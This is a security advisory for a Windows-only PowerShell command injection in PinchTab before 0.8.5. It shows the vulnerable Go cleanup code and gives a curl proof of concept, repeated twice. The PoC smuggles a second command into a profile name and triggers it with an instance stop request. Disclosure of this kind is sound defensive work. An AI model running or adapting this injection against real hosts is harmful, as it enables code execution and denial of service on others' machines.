| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/pinchtab/pinchtab | < 0.8.5 | 0.8.5 |
| github.com/pinchtab/pinchtab/cmd/pinchtab | < 0.8.5 | 0.8.5 |
| pinchtab | < 0.8.5 | 0.8.5 |
PinchTab v0.8.4 contains a Windows-only command injection issue in the orphaned Chrome cleanup path. When an instance is stopped, the Windows cleanup routine builds a PowerShell -Command string using a needle derived from the profile path. In v0.8.4, that string interpolation escapes backslashes but does not safely neutralize other PowerShell metacharacters.
If an attacker can launch an instance using a crafted profile name and then trigger the cleanup path, they may be able to execute arbitrary PowerShell commands on the Windows host in the security context of the PinchTab process user.
This is not an unauthenticated internet RCE. It requires authenticated, administrative-equivalent API access to instance lifecycle endpoints, and the resulting command execution inherits the permissions of the PinchTab OS user rather than bypassing host privilege boundaries.
Issue 1 — PowerShell command string built with interpolated user-influenced data (internal/bridge/cleanup_windows.go in v0.8.4):
func findPIDsByPowerShell(needle string) []int {
escaped := strings.ReplaceAll(needle, `\`, `\\`)
cmd := exec.Command("powershell", "-NoProfile", "-Command",
fmt.Sprintf(`Get-CimInstance Win32_Process -Filter "Name='chrome.exe'" | `+
`Where-Object { $_.CommandLine -like '*%s*' } | `+
`Select-Object -ExpandProperty ProcessId`, escaped))
}
The needle value is interpolated directly into a PowerShell command string. Escaping backslashes alone is not sufficient to make arbitrary user-controlled content safe inside a PowerShell expression.
Issue 2 — needle is derived from launchable profile names:
The cleanup path uses:
findPIDsByPowerShell(fmt.Sprintf("--user-data-dir=%s", profileDir))
The profile directory is derived from the instance/profile name used during launch. In v0.8.4, profile name validation rejected path traversal characters such as /, \, and .., but it did not comprehensively block PowerShell metacharacters such as single quotes or statement separators.
Issue 3 — Trigger path is reachable through normal instance lifecycle APIs:
The attack path described in the report uses:
POST /instances/launch with a crafted namePOST /instances/{id}/stop to trigger the cleanup routineRunning one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeThat means exploitability depends on access to privileged orchestration endpoints, not on local shell access.
Environment assumptions
v0.8.4Example sequence
curl -X POST http://HOST:9867/instances/launch \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "poc'\''; Start-Process calc; $x='\''",
"mode": "headless"
}'
Then:
curl -X POST http://HOST:9867/instances/<INSTANCE_ID>/stop \
-H "Authorization: Bearer <TOKEN>"
If the payload survives the launch path and reaches the vulnerable cleanup code, the injected PowerShell executes when the Windows cleanup routine runs.
-Command strings.Environment Setup: Target: PinchTab v0.8.4 (Windows build) Platform: Windows only
1. Launch Instance with Malicious Profile Name
curl -X POST http://[server-ip]:9867/instances/launch \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "poc'\''; Start-Process calc; $x='\''",
"mode": "headless"
}'
2. Stop Instance to Trigger Injection
curl -X POST http://[server-ip]:9867/instances/<INSTANCE_ID>/stop \
-H "Authorization: Bearer <TOKEN>"
In environments where instances are automatically restarted (e.g., always-on mode), the cleanup routine is triggered repeatedly.
Because the injection occurs during cleanup, the payload is executed on every restart cycle: Continuous spawning of calc.exe processes Resource exhaustion System instability or crash
This vulnerability allows an authenticated attacker to execute arbitrary PowerShell commands on the Windows host running PinchTab. Impact - full host compromise including command execution, persistence, and data access; Root Cause - user-controlled input (profile name) is embedded into a PowerShell command without proper neutralization of special characters; Remediation - avoid constructing shell commands using string interpolation, enforce strict input validation (allowlist), and use structured command execution instead of powershell -Command.
Additionally, because the injection is triggered during the cleanup routine, environments with automatic instance restart behavior may repeatedly execute the injected payload, leading to uncontrolled process creation and resource exhaustion. This enables a reliable denial-of-service condition in addition to remote code execution.